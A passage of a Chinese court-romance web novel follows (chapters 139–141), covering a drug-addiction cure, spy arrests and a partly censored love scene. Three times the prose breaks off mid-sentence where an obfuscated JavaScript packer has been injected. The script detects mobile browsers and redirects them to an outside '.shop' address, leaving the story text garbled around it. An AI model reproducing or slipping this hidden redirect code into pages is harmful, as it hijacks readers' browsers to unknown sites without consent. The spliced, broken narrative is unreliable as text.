李羽飞全然不理会他的愤怒,手拿苏州进贡的檀香扇扇动着,语气平静却字字诛心:“父亲,艾木都拉已被抓获且所有事全都交代了,你又能否独善其身吗?若是你觉得可以,那便替大虞庆幸抓住了一个祸国殃民的祸害吧!” 她言尽于此,把燕修延托带的话原封不动地转告给李想,随后合上折扇从椅子上站起身,径直走到书房门口,脚步顿住,背对着李想:“父亲,该带的话我都带到了,你好自为之。” 李羽飞推开房门,恰好遇上迎面走来的张采茵,不动声色地将手中折成小块的纸张悄悄塞进她手里:“姨娘,往后好好照顾父亲的衣食起居。” 府门外,虞湘晔急得不行在马车旁来回踱步,眼眶都微微泛红。 见李羽飞安然走出,立刻快步上前,伸手仔细在她身上打量检查,确认没有半分伤口,才悬着心放下。 上前紧紧抱住她,声音带着后怕:“吓死我了,你若是再晚出来片刻我就不顾一切闯进去了。” 李羽飞轻轻拍着她的后背,轻声安抚:“我这不是安然无事嘛。” 139. 我直接打地铺! 白天铎指节微微用力将袋口的麻绳死死扎紧,又随手掂了掂,听着里面银钱碰撞的清脆声响,嘴角勾起满足的笑意:“那也得知道他现在到哪儿了,他不是被头儿派出去干活了么,这都出去好些时日了,半点消息都没有。” 肖泽靠在廊下的柱子上,指尖漫不经心地摩挲着腰间的佩刀:“他还说能直接领个媳妇回来。” 温泽满脸写着不信,连连摇头:“他?能哄得住姑娘?打死我都不信。” 白天铎一听,拍着温泽的肩膀附和道:“哈哈哈,我也不信!” 燕修延将几人的对话尽数听在耳中,没掺和进去,只是单手摸着光洁的下巴,貌似没有必要四处传播和底也伽有关的消息了。 此时千里之外的深山之中,狂风卷着豆大的雨点,噼里啪啦地砸在破旧的山神庙屋顶上,漏雨的屋檐不断滴着水珠,地上满是泥泞。 温瑞裹紧了身上的衣服,坐在冰冷的草堆上,望着庙外倾盆而下、丝毫没有停歇迹象的瓢泼大雨,眉头紧锁,默默在心里盘算着路程,只盼着能早日办完手头的差事,平安回京。 “阿欠!定是有人在背后说我坏话!” 得了宝贝又白得来了一笔丰厚银钱,燕修延心头畅快,心情好得不得了。 他嘴角不自觉地噙着一抹浅笑,甚至慢悠悠地哼起了坊间的小调,抬手推开了房门。 刚一进门,目光便落在了屋中柔软的锦榻上,上面整整齐齐叠放着好几套新做的衣衫,其中几件颜色粉嫩鲜亮,在一众素色衣物中格外显眼。 “呦,衣服这么快就做好了?绣娘的手脚倒是麻利。” 燕修延随手拿起一件粉蓝色的薄纱纱衣,料子轻薄顺滑,触手生凉,转身走到谢伟恒身边,抬手将纱衣在他身前比了比。 “好像短了点?长度不太合适。” 谢伟恒眉眼温柔,伸手接过那件纱衣,不由分说地轻轻披在了燕修延的肩头,微微勾着唇角,慢悠悠开口:“这样正好,不长不短,刚刚好。” 燕修延眼皮莫名一跳,下意识低头看向自己身上,只见那粉蓝色纱衣垂落下来,长度恰好及膝,尺寸竟分毫不差。 他先是一愣,随即瞬间反应过来:“好你个谢伟恒,又变着法子下套套我!” 谢伟恒眨眨眼,一脸无辜地摊开手:“燕大人真是冤枉我了,我不过是把尺寸报给绣娘,许是绣娘会错了意,误以为这衣衫是你要穿。” 燕修延看着他这副装模作样的样子,非但没生气反倒微微一笑,反手将了一军:“没关系,咱们两个身量本就相差不大,这衣服你也穿得了。” 想诓他穿? 门都没有! 别说门了,他连窗户都给封死! 谢伟恒接过纱衣随手放在一旁,抬手缓缓开始宽衣解带:“不如穿那件粉色的吧,在江南的时候,我答应过你,日后可以穿粉裙……” 后面的两个字他刻意顿住,没有说出口。 但两人皆是心知肚明。 燕修延脸一热,伸手一把夺过那件粉色纱衣连同榻上其他几件衣裙一起,胡乱团吧成一团,转身翻出一个包袱皮,就要打包起来。 “咱俩谁都别穿了,我让谢小厮拿去,留着给他未来媳妇儿穿。” 谢伟恒快步走到门口,伸手挡住房门,微微侧身,脸上挂着笑吟吟的神情,语气带着不容拒绝的温柔:“小厮年纪尚小,离成亲还有好些年岁,现在送过去未免太早了。这些衣裳做都做了,不妨试穿一下,看看合不合身。” 试穿,哪里是一下就能了事的? 燕修延太了解谢伟恒了,若是真穿了,他今天怕是别想踏出这个房门半步。 “哥哥,就穿一下,就一下下,好不好?” 谢伟恒走上前来,微微弯腰,伸出指尖轻轻勾起燕修延的小指,轻轻晃了晃。 燕修延头皮一麻:“不要用叠词,少来这套。” 谢伟恒也不气馁,声音更柔了几分,眼底满是宠溺:“好哥哥,就穿一下,就让我看一眼。” “不行。”燕修延别过头,试图抵抗这温柔攻势。 谢伟恒依旧不依不饶,语气带着几分央求:“燕家哥哥,衣裳做都做了,耗费了不少心思,就穿一下,好么?” 燕修延:…… 颜色清新的粉蓝色薄纱纱衣,便笼罩在了燕修延修长有力的身躯上。 薄薄的一层纱料,根本起不到任何遮挡作用。 透过纱衣可以清晰看见男人紧实的肌理。 燕修延脸上阵阵发烫,他掩饰性地抬头看向屋顶。 分神想,大意了,封门封窗,架不住谢伟恒会撒娇掀房顶。 “不止一眼了啊,你都看了这么久了。” 燕修延转身想去拿自己的常服,明明屋里的门窗都关得严严实实,可他却偏偏觉得凉飕飕的,浑身不自在。 谢伟恒从身后紧紧搂住燕修延的腰,温热的气息喷洒在他的颈侧,嗓音变得低沉沙哑:“这身衣裳很衬燕家哥哥,好看得紧,就这样换下来未免太可惜了。” 燕修延嘴角忍不住狠狠一抽,他就知道…… 半推半就被谢伟恒轻轻揽着躺倒在柔软的床榻上。 燕修延听到身侧传来一阵清脆的玉石碰撞声,叮当作响,很是悦耳。 他疑惑地扭头看去,只见谢伟恒伸手在床头的暗格中摸索片刻,拿出一串玉石珠串来。 燕修延伸手拨弄了一下那串玉石珠串,触手温润冰凉,不由得开口叮嘱:“你拿这个做什么?这东西脆小心碰碎了,这玩意可贵着呢。” 谢伟恒转头看向他,眼底翻涌着浓烈的情愫,嘴角勾起一抹意味不明的笑意:“燕家哥哥只管放心,定是不会碰碎的。” 燕修延看着他这笑容莫名觉得心里发慌,眼皮接连跳了好几下,直觉告诉他,谢伟恒这笑容绝对不怀好意,准没好事。 事实很快便证明,他的直觉准得可怕。 玉石珠串t在谢伟恒的**在燕修延的**来回 “嘶,谢伟恒你这个狗东西!” 都说读书人心思多、玩的花,此话真是一点不假! 当初谢伟恒放着珍贵的字画不要,偏偏选了这串玉石珠串,原来从那个时候就存了这样的心思! 谢伟恒wo燕修延的yao又an下去 “艹!谢伟恒你都不提前打声招呼的!” 燕修延抬手拽住谢伟恒的头发,微微用力有些凶狠地咬住他的唇瓣。 谢伟恒把早已不再冰凉的玉石珠串随手丢到一旁,伸手牢牢扣住燕修延的后颈,加深了这个缠绵又带着几分急切的吻。 …… (稍微有点长不知道能不能过审,读者想一下吧!求过审求过审!!!) 燕修延满脸嫌弃地一把将靠过来想抱着他的谢伟恒推到一旁:“天气热,别抱着我睡,离我远点。” 虽说屋里放了冰块降温,可两个人紧紧挨着睡,依旧会觉得闷热得慌。 谢伟恒被推开也不生气,只是轻叹一口气,语气里带着几分委屈:“燕大人这叫用完就丢,真是狠心。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646297|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 燕修延没好气地白了他一眼,:“再啰嗦,我就直接去地上打地铺再也不理你。” 餍足之后的谢伟恒瞬间乖乖听话,安分地躺好,不再动手动脚,侧头看着身旁的人,轻声道:“好梦。” 燕修延在心里默默嘀咕:能不好梦么,他累得连胳膊都不想抬一下,沾着床榻就想睡。 没过多一会儿,均匀的呼吸声便响起,燕修延彻底进入了梦乡。 谢伟恒看着燕修延熟睡的侧脸,眼底满是温柔宠溺,缓缓侧过身,伸出指尖,轻轻勾住燕修延垂在身侧的小指,眉眼舒展,也伴着身旁人的呼吸声,沉沉睡去。 为免夜长梦多,防止消息泄露,虞睿祥传下密令,命暗卫暗中抓捕名单上的楼兰人,动作务必隐秘迅速。 至于和楼兰人合作的,他留着还有别的用处,要顺着这条线挖出更深的阴谋。 丰乐楼的雅致雅间内,葛云舟正坐在桌前,静静等候着郝有钱和祝望财二人前来商议事情。 可他左等右等,推开房门走进来的却不是约定好的两人,而是身着常服、眉眼间带着几分不羁的燕修延,以及身旁气质温润、却自带威严的谢伟恒。 燕修延率先走进雅间,抬手随意地对着葛云舟挥了挥,嘴角挂着一抹浅笑:“葛老板,多日不见,近来可好?” 葛云舟认出了燕修延,心头猛地一沉这尊大佛怎么会突然来丰乐楼?还偏偏挑了这个时候? 心中虽翻江倒海,面上却不敢有丝毫显露,连忙起身,挂起一贯和善的笑容,上前恭敬行礼:“卫正使、谢大人,二位大人大驾光临,实乃丰乐楼的幸事,小人有失远迎,还望二位大人恕罪。” 燕修延看着他,忽然微微变了嗓音,语气随意道:“葛大哥客气了,不必多礼。” 葛云舟听到这熟悉的声音,眼中瞬间闪过浓烈的惊愕,瞳孔微微一缩:这不是郝有钱的声音!难道…… 心中飞快掠过数个念头,葛云舟脸上的笑意越发恭敬连忙做出请的手势,侧身引着二人往里走:“二位大人里面请,快请坐。” 三人依次在雅间内落座。 桌上早已摆好了精致的茶点与新鲜的时令瓜果。 燕修延随手摘下一颗晶莹剔透的葡萄,指尖轻轻一捏,剥掉外皮直接塞进嘴里,慢慢咀嚼着,点头赞叹:“不错,挺甜的,这丰乐楼的果子,倒是比市面上的要好些。” 葛云舟坐在一旁,心中不断揣测着二人此番前来的用意,手心微微冒汗,却不敢贸然开口询问,只能陪着笑道:“大人若是觉得尚可,小人这就命人装上一些,让二位大人带回去慢慢享用。” “不必。” 谢伟恒端起桌上的茶杯,轻轻抿了一口,语气平淡疏离:“谢府不缺这些瓜果,葛老板费心了。” 燕修延又剥了一颗葡萄,抬手直接塞进谢伟恒嘴里,挑眉笑道:“不要钱的东西,不拿白不拿,葛老板一番好意,何必推辞。” 葛云舟连忙笑着附和:“大人们愿意带一些走,是小人的荣幸,是丰乐楼的福气。” 燕修延没再搭话,只是低着头认真地剥着葡萄,动作熟练,自己剥一颗塞进嘴里,再剥一颗喂给谢伟恒,两人就这样,慢悠悠地吃掉了半串葡萄。 期间葛云舟几次试着挑起话题,想要打探二人的来意,可燕修延只顾着剥葡萄全然不接话,谢伟恒更是神色淡淡,不发一言。 几次下来,葛云舟坐在原地如坐针毡,心底的不安越来越浓,神色也渐渐变得坐立难安起来,握着茶杯的手都微微收紧。 140. 官袍一脱,直接辞官,美哉 桌上的点心残屑还沾在盘边,甜腻气息漫在鼻尖,燕修延慢悠悠拿帕子擦了擦指尖,随手丢在一旁,端起桌上微凉的清茶,浅浅抿了一口,喉间那股腻味才稍稍散了些。 他抬眼看向对面端坐的葛云舟,语气平淡,却带着几分漫不经心的锐利:“葛老板养气功夫真是不错。” 葛云舟脸上堆着周全又客气的笑,身子微微欠了欠:“大人说笑了,不过是年纪大了,性子磨得沉稳些罢了。” 燕修延慢悠悠撩起眼皮,眼尾微微上挑,那抹似笑非笑的神情看得人心里发毛。他不紧不慢开口,字字都往人心坎上戳:“葛老板就一点都不好奇,方才我说话的声音,怎么跟郝有钱一模一样?” 葛云舟脸上笑意分毫未动,仿佛早有准备一般,从容应道:“郝有钱的父亲本就在谢大人手下当差,燕大人自然是常见的。再说大人本领通天,这点模仿人声的小技艺,自然不在话下。” “葛老板这话说得,倒像是早把底都摸清了。” 燕修延轻轻放下茶杯,杯底在桌面上磕出一声轻响,不大,却听得人格外清晰。 他偏过头,侧脸对着身侧的谢伟恒,唇角弯起一点轻松的笑意:“我看啊葛老板心里早跟明镜似的了,谢大人觉得呢?” 谢伟恒微微颔首,声线清和沉稳,只淡淡一句:“我与燕大人看法一致。” 燕修延伸手拿起那只空了的茶杯,指尖在杯壁上轻轻转着圈,目光重新落回葛云舟身上,语气依旧平和:“葛老板可知,昨夜子时与你私下见面的那人,是楼兰安插进来的细作,已经被我们拿下了。” 葛云舟心头猛地一紧,面上再稳,眼底还是掠过一丝惊色。 他在心里盘过无数种可能,却独独没往楼兰细作上想,一时脱口而出,失了分寸:“不可能!他长相衣着半点都不像西域人!” 燕修延将手中茶杯稳稳顿在桌上,抬眸看他:“那你再看看我长得像郝有钱吗?” 一句话,堵得葛云舟瞬间哑口无言。 他身子一软,几乎是脱力般靠向椅背,眼神有些发直,喃喃自语,声音轻得像飘着:“易容?原来世上真的有这般出神入化的易容术……” 冷汗悄无声息爬上他的额头,顺着鬓角往下滑,他猛地回过神,看向燕修延与谢伟恒,声音都带上了几分发颤:“你们易容接近我,就是为了引他现身、把他抓住……那今日你们是来抓我的?” “非也。” 燕修延眉眼一弯,笑得温温和和,半点杀气都无,“今日,就是单纯来赴葛大哥这顿宴的。” “不敢当不敢当!” 葛云舟慌忙起身,连连摆手,脸上一片惶恐,头都快垂到胸口:“草民身份低微,万万担不起大人这一声‘大哥’,还请二位大人明言,不必再绕弯子了!” 现在还没……? 这话分明是明晃晃的敲打,再不配合,下一刻就会被直接锁拿带走。 燕修延看着他这副魂不守舍的模样,眼神里掠过一丝淡淡的怜悯,语气也放沉了些:“明说倒也不必,艾木都拉已经落网,你往后再也拿不到底也伽了。那东西的瘾头上来,是会要命的,葛老板比谁都清楚。” 葛云舟脸色一白。 他太清楚了。 有一回外出仓促,没随身带底也伽,瘾头一犯,整个人当场就瘫了,浑身发冷又发烫,骨头缝里都像有虫子在啃,熬得九死一生,缓过来后整个人瘦了一圈,跟脱了层皮没两样。 这瘾,他戒不掉,也不敢戒。 既然戒不掉,那就只能接着用,再多攒些银子,也好留给自己儿子一条后路。 谢伟恒伸手轻轻将燕修延手里转了半天的空茶杯拿过来,提过茶壶,稳稳斟上半盏热茶,才缓缓开口:“我记得监察司的药师近日恰好研出一方药,能缓底也伽的成瘾之苦。” 燕修延接过茶杯,指尖碰了碰温热的杯壁,漫不经心接了一句:“话是这么说,可从来没人试过,而且那几味药材珍稀,价钱贵得很。” 葛云舟耳朵一动,瞬间品出了味。 这是要他来做试药之人,说不定还要他自己掏这笔药钱。 可他心里又打鼓,万一这药不对症反倒把命搭进去,那可就全完了。 一时间,葛云舟心里天人交战。 桌上安静下来。 燕修延像是半点不在意这边的紧绷气氛,悠闲的抓起谢伟恒平放在桌沿的手,挑了块刚剥下的紫葡萄皮,在他的指甲盖上,摆弄得认真。 “前几日看安清雅她们用凤仙花染指甲,颜色鲜亮得很,” 他低头盯着谢伟恒的指尖,语气轻松得像在说闲话:“这葡萄皮也带颜色,不知道能不能染上,好不好看。” 谢伟恒也不抽手就那么乖乖将手平放在桌上,眉眼柔和,淡淡应道:“试一试,便知道了。” 这两句再平常不过的对话,飘进葛云舟耳里,却字字都像在施压。 连这点小事都要“试一试”,他这条命,合着也成了大人手里可试可不试的东西。 心里一狠,再没有半分犹豫,葛云舟咬牙开口,声音都带着几分破釜沉舟的坚决:“二位大人,草民愿意试药!药材昂贵,草民愿意自己出钱,分文不要大人垫付。” 他顿了顿,喉头滚动一下,又重重补了一句:“若这药真有用,草民愿捐出半数家产,答谢二位大人。万一……万一草民命薄试药出了意外,草民绝不怨怼任何人!” “没有什么万一。” 燕修延抬眼给了葛云舟一颗实打实的定心丸:“这药下去,最多也就是效果好些、效果差些的区别,伤不到你的性命,你只管放心。” 葛云舟这才长长松了一口气,整个人都像是卸下千斤重担,他站起身对着二人深深躬身一揖:“如此,草民先谢过二位大人成全。” 余下的底也伽,葛云舟一丝不留,尽数交给了燕修延。 又匆匆下楼,跟酒楼掌柜交代了几句,说自己要出门一段时日,便跟着监察司的人径直住进了司里。 只等瘾头一发作,便开始试药。 葛云舟底也伽用得频,断了不过两日,那股摧心剖肝的瘾头便狠狠撞了上来。 柳岚面无表情捏着一颗黑漆漆的药丸,直接塞进他嘴里,又飞快取过银针,在他几处穴位上利落扎下针,最后拿一块干净布团,死死堵在他嘴里,防止他痛极了咬舌。 葛云舟被粗绳牢牢绑在柱子上,双目骤然怒睁,眼白泛红,血丝一根根爬上来,额角、脖颈上的青筋根根暴起,像要破皮而出。 喉咙里被布堵着,发不出完整嘶吼,只剩沉闷又痛苦的呜咽,在屋里一阵阵回荡,听得人头皮发麻。 燕修延站在不远处看着,忍不住轻轻“嘶”了一声,偏头看向柳岚:“你这药,劲儿是不是太猛了点?” 柳岚一脸无所谓地耸耸肩,手上还在整理银针:“不猛怎么管用?以毒攻毒罢了。” 这么短的工夫,她上哪儿去寻真正稳妥的解药? 她又不是无所不能的孙猴子。 说是缓解的药,吃下去只会叫人浑身经脉里像扎进无数细针,密密麻麻、无孔不入地疼,只是在药里加了几味滋补护气的药材,免得人疼到直接虚脱断气。 用一场更猛烈的疼,盖过犯瘾的苦,挨过这么两回,人自然而然就不敢再沾那东西了。 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646298|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 完柳岚这一通直白解释,燕修延难得沉默下来,半天没说话。 要不,把葛云舟的钱给人退回去吧。 燕修延伸手摸了摸自己心口,眉头轻轻皱了起来。 温泽在一旁探头探脑,见他神色不对:“头儿,你是哪儿不舒服?” 燕修延放下手,神色古怪:“没什么,就是头一回,清清楚楚感觉到良心这东西长在哪儿了。” 温泽跟柳岚对视一眼,两人异口同声,一脸真诚地补刀:“头儿,你还有良心呢?!” 燕修延眼皮一跳,抬脚就往两人屁股上各轻踹了一下:“皮痒了是不是?找收拾!” 又熬了好一阵子,绑在柱子上的葛云舟才慢慢平息下来,挣扎的力道一点点弱下去,粗重的喘息渐渐平缓。 燕修延伸手把他嘴里堵着的布团取了出来,淡淡问:“感觉如何?” 葛云舟满头满脸都是冷汗,顺着下巴往下滴,连开口说话的力气都没有。 他心里甚至隐隐生出一个念头,燕修延是故意变着法子折磨他。 身上的绳索被一一解开,葛云舟腿一软,差点栽倒,扶着柱子站稳,才后知后觉惊异地发现。 这一回熬过去竟没有上回那般浑身虚脱、站都站不住的疲软,反倒身上松快了不少,只是那股疼,还残留在骨头里。 “太疼了……” 葛云舟声音沙哑干涩,一字一顿,“这辈子从没这么疼过。” 柳岚在一旁好心提醒:“下回还会这么疼,说不定更疼,不过疼完这一阵,人就轻松了,是吧?” 葛云舟缓了半天,才虚弱地点了点头。 燕修延一拍手:“行了,那你就在这儿安心住着,按时吃药扎针,我先回去了。” 出了监察司大门,一眼就看见停在街边、熟悉的谢家马车。 他脚步一轻快,几步跑过去,一撩车帘,一溜烟就跳了上去。 车内安静暖和,谢伟恒正安安静静坐在榻上看书,书页平整,指尖干净。 听见车帘响动,他缓缓抬起头,随手将书合上,搁在一旁,眉眼一柔,淡淡笑起来:“忙完了?” 燕修延一屁股挨着他坐下,身子微微往他那边靠了靠:“那药还算管用,人暂时稳住了。你今天倒出来得早,中部那堆事处理完了?” 谢伟恒轻轻摇了摇头,笑意温浅:“公务缠身,哪有真正做完的一天。” “谢书令这话就不对了。” 燕修延伸出一根手指,轻轻摇了摇,一脸想得开的模样:“往后哪天不高兴了,官袍一脱,大印一交,直接辞官走人,游山玩水四处闲逛,岂不美哉?” 谢伟恒静静望着他,认真想了一想,轻轻点头:“美。” 他微微侧身,手臂轻轻揽住燕修延的腰,气息凑近,低声缓缓道:“日后你我一道,遍游名山大川,寻一叶扁舟,泛于江上,随波逐流,自在得很。” “随波逐流?” 燕修延一愣,脑子里瞬间蹦出两人早前泡在水里、手忙脚乱把船往岸边推的蠢样子,当即一脸嫌弃地撇撇嘴:“拉倒吧,两个连船都不会划的人不配随波逐流。” 谢伟恒被他这直白模样逗得低低笑出声,眼底都染了软意:“我可以学。” 燕修延拍拍他搁在自己腰上的手:“想开点,咱们有那个钱直接雇个船夫掌舵,舒舒服服坐着便是,干嘛非得自己上手遭罪。” 谢伟恒眸色微深,往他耳边凑近了些,声音压得更低,带了点轻轻浅浅的笑意,慢悠悠道:“因为我想在船上……” 燕修延眼疾手快,一把伸手捂住了谢伟恒的嘴。 大意了,他就不该多这一句嘴。 141. 想回家做个败家子 转眼便是一月过去。 葛云舟体内的底也伽瘾头早已被那几番以痛克痛的猛药生生压了下去,如今再无半分犯瘾时的抓心挠肝。 整个人虽清瘦了些,眼神却清明了许多,再不见往日那股藏在皮肉下的虚浮焦躁。 他一出监察司,便有意无意地向身边旧友熟人吐露,说自己早前不慎沾了邪物,险些毁了自身,万幸遇上医馆里隐世的神医,以奇法治好了他的瘾症。 这话一传十、十传百,不过几日工夫,京中那些同样沾了底也伽、断药后痛不欲生的人,便疯了一般四处打探,最终纷纷寻到藏在街巷犄角旮旯里的仁心堂。 一个个甘愿砸下重金,去受那针扎火燎一般的苦楚——毕竟比起瘾头发作时生不如死,这点剧痛尚且能熬。 至于京外各地的成瘾之人,燕修延与谢伟恒早有盘算,先让京中这股“仁心堂能治底也伽”的风声传出去,再开几家照材医馆便是。 与此同时,监察司与禁军暗中联动,按图索骥,将散落在大虞各处的楼兰细作一一抓捕归案。 一番清点,不多不少,整整二百五十人。 消息传进宫中,虞睿祥动了心思想把这桩繁重又棘手的审讯差事,直接丢给燕修延。 只是旨意还未出口,谢伟恒便已上前,不动声色地寻了个稳妥借口,以燕修延近期仍需盯着仁心堂与各地药物流向为由,轻巧巧将人护着带离了御书房。 “谢大人、燕大人。” 两人刚踏出殿门,守在外面的吏部尚书便迎面走来,对着二人微微颔首见礼,随即步履匆匆地进了御书房。 待他身影消失在门内,燕修延松了口气,往谢伟恒身边靠了靠,嬉笑着压低声音:“瞧见没?陛下这是缺人用,漠大人自己送上门,这二百多人的审讯活儿指定落他头上了。” 他抬手拍了拍谢伟恒的肩头,语气里带着几分庆幸:“幸亏你方才反应快,不然这会儿我就得扎进刑室里,对着两百多张脸头疼了。” 谢伟恒侧过头,目光温温柔柔落在他脸上,唇角噙着一抹浅淡却笃定的笑意:“今日公务暂且告一段落,不知燕大人可否赏脸,与我一同去温泉小坐片刻?” 燕修延脸上的笑意微微一滞,收回搭在谢伟恒肩头的手。 这温泉哪里是单纯去泡的。 谢伟恒在他耳边念叨了不知多少回,心思昭然若揭,摆明了是憋着坏主意。 燕修延抬眼静静打量着谢伟恒。 谢伟恒也不躲闪,就那么笑吟吟地任由他看,眼底的深意几乎要溢出来。 半晌,燕修延才若无其事地移开视线,语气平淡地回绝:“再说吧,今日不想泡。” 腰酸,勿扰。 事情果然如燕修延所料。 不过半日,宫中便传出旨意,将二百五十名楼兰细作的审讯事宜,全权交由吏部尚书负责。 一连数日,漠尚书埋首牢房之中,昼夜不休地盘问审问。 等到再上朝时,整个人已然脱了相——眼下乌青浓重,双目空洞无神,嗓子沙哑得几乎发不出声,走起路来脚步虚浮,像是一阵风就能吹倒。 散朝之后,文武百官陆续出宫,吏部尚书径直几步上前,拦住了正要离开的燕修延。 “燕大人留步。” 燕修延下意识往后退了小半步,目光在他憔悴不堪的脸上扫过,心里暗自咋舌。 好家伙,这怨气都快凝成实质了,再看那黑眼圈重得,跟被人暴打了一顿似的。 “漠大人有何事?” 吏部尚书强打精神拱手,声音干涩沙哑:“下官想向您请教一番审讯之术。” 燕修延看着他摇摇欲坠的模样,真心实意地觉得,这人此刻最需要的不是什么审讯技巧,而是一头栽倒睡上个三天三夜。 “燕大人,漠大人,二位站在此处商议何事?” 身后又传来一道有气无力的声音。 燕修延回头一看:“嚯!” 又一个怨气缠身的! 礼部尚书整张脸苍白得近乎透明,眼底血丝密布,活像是被抽走了大半精气。 哦,对了,陛下近日要选秀,礼部上下忙得脚不沾地,礼仪、规制、陈设、流程,桩桩件件都要一一敲定,比牢房里审犯人也好不到哪儿去。 燕修延伸手把两人往一块儿拢了拢,上上下下仔细打量一番,一本正经地建议:“依我看,二位出宫之后直接寻最近的客栈,开间上房倒头就睡比什么都强。” 吏部尚书却是摇了摇头,步履沉重:“边走边说吧。” 礼部尚书抬头望了一眼头顶高悬的太阳,长长叹了口气,气若游丝:“好耀眼的日光……总算又见着了。” 燕修延往谢伟恒身边靠了靠,压低声音嘀咕:“你看他俩,跟被吸干了精气似的,我得离远点,别回头传染给我。” 谢伟恒低笑一声,不动声色地捏住他的手指,温热的指尖轻轻摩挲了一下,凑到他耳边,声音低沉又暧昧:“我倒不怕,巴不得被燕大人这般吸干精气。” 燕修延:…… 他侧头瞪了谢伟恒一眼,压低声音呵斥:“别什么事儿都往自己身上套,他们那是累的!” 谢伟恒一脸坦然:“我不怕累,燕大人想怎样都……” “燕大人,咱们方才说到……燕大人?” 吏部尚书一回头,赫然发现刚才还在跟前的燕修延,已经退到了五六步开外,脸颊上还浮着一层可疑的红晕。 礼部尚书一脸困惑地看向身旁脸色隐隐有些抽搐的吏部尚书:“漠大人,你脸怎么一抽一抽的?” 吏部尚书深吸一口气,收回目光面无表情:“没事,累的。” “哎,我也累。” 礼部尚书打了个大大的哈欠,满眼疲惫:“有时候真想不当这官了,回家做个败家子,让爹娘养着算了。” 天天连轴转,一天睡不了两个时辰,节庆礼仪、陛下生辰、筹备选秀,规矩物件摆法都要反复推敲,连三更半夜都不得安生,还不如回家种田。 至少庄稼不会在三更半夜里跟他讨论物件怎么摆才合规、好看。 吏部尚书半是玩笑,半是认真地接了一句:“你也可以不回家,嫁人,让夫家养着。” 礼部尚书当真认真思索起来,手指无意识绞着衣袖:“那得是多富贵的人家,才能养得起我?我可是很能花钱的。” 这话恰好被赶上来的燕修延听见,他当即揶揄地一笑,插嘴道:“让漠大人养你啊,他家家底丰厚,你尽管可着劲儿花,你花得越多,他指定越高兴。” “啊?”礼部尚书愣了一下,一时没反应过来:“为何?” 他目光在相携而立的燕修延与谢伟恒身上一转,忽然恍然大悟,眼睛一亮:“我懂了!燕大人与谢大人平日里便是这般相处的,是吧!” 燕修延顺势往谢伟恒身上一靠,笑得一脸理所当然:“是啊是啊,谢大人最惯着我,就喜欢我花他的钱。” 谢伟恒垂眸看着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17646299|206799||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 身旁眉眼飞扬的人,唇角勾起一抹温柔宠溺的笑意,轻声应和:“燕大人花钱时开心,他开心,我便高兴。” 礼部尚书若有所思地点了点头,像是瞬间想通了什么。 吏部尚书清了清嗓子,重新拉回正题,对着燕修延拱手:“听闻燕大人曾一夜审讯三十五人,下官想请教,您是如何做到这般神速的?” 嘴上这般问着,吏部尚书的目光却始终若有似无地落在身旁礼部尚书脸上,仔细留意着他的每一丝神情变化。 虞睿祥发动宫变后,燕修延奉旨审问了三十五人。 一夜之间便拿到厚厚一沓供词 燕修延淡淡瞥了礼部尚书一眼:确定要在这里说? 怎么做到的?他的手段…… 说出来怕是能当场把这位常年和礼仪典籍打交道的文臣吓晕过去。 “漠大人!” 礼部尚书忽然一把抓住吏部尚书的衣袖,抬头眼神发亮:“我花你的钱,你会高兴吗?” 吏部尚书几乎是想也不想,脱口而出:“当然高兴,求之不得。” 礼部尚书眼睛一亮,当即拽着他的袖子,转身就往宫内方向走,语气干脆利落:“走,找陛下辞官去!这破官谁爱当谁当,我好久都没睡过一个囫囵觉了!” 一年到头节庆不断、礼仪不休,如今又加上选秀封妃。 从年头忙到年尾,再从年尾忙到年头,看不到半分头。 想来想去,也就只有辞官成亲,才是解脱。 吏部尚书一时没反应过来,懵在原地:“啊?” “辞官!成亲!往后你养我!” 礼部尚书脚步不停,语气斩钉截铁。 燕修延站在原地,目瞪口呆地看着两人渐行渐远的背影,半天没回过神,下意识指着他们,一脸不可思议:“不是吧……宁大人玩真的?这也太草率了吧!” 谢伟恒轻笑一声,不动声色地五指张开穿进燕修延的指缝间,与他紧紧相握,缓缓开口:“不如打个赌。” 燕修延还沉浸在方才的震惊里,随口问道:“赌什么?” “我赌宁大人不会辞官。”谢伟恒眼底笑意深邃。 燕修延瞬间回过味来,斜睨他一眼,恨铁不成钢地低声道:“你脑子里能不能想点床上以外的事?别以为我不知道你打的什么赌注。” 谢伟恒故作困惑:“泡温泉,本就是床上以外的事。” 燕修延:“……” 他深吸一口气,面上重新挂上一抹似笑非笑,干脆耍赖到底:“那我也赌宁大人不会辞官,你能如何?” 谢伟恒笑容不改,慢悠悠补上后半句:“我赌宁大人会辞官,但陛下不会准。” 燕修延一愣,随即反应过来——自己又一次,顺顺当当地掉进了谢伟恒挖好的坑里。 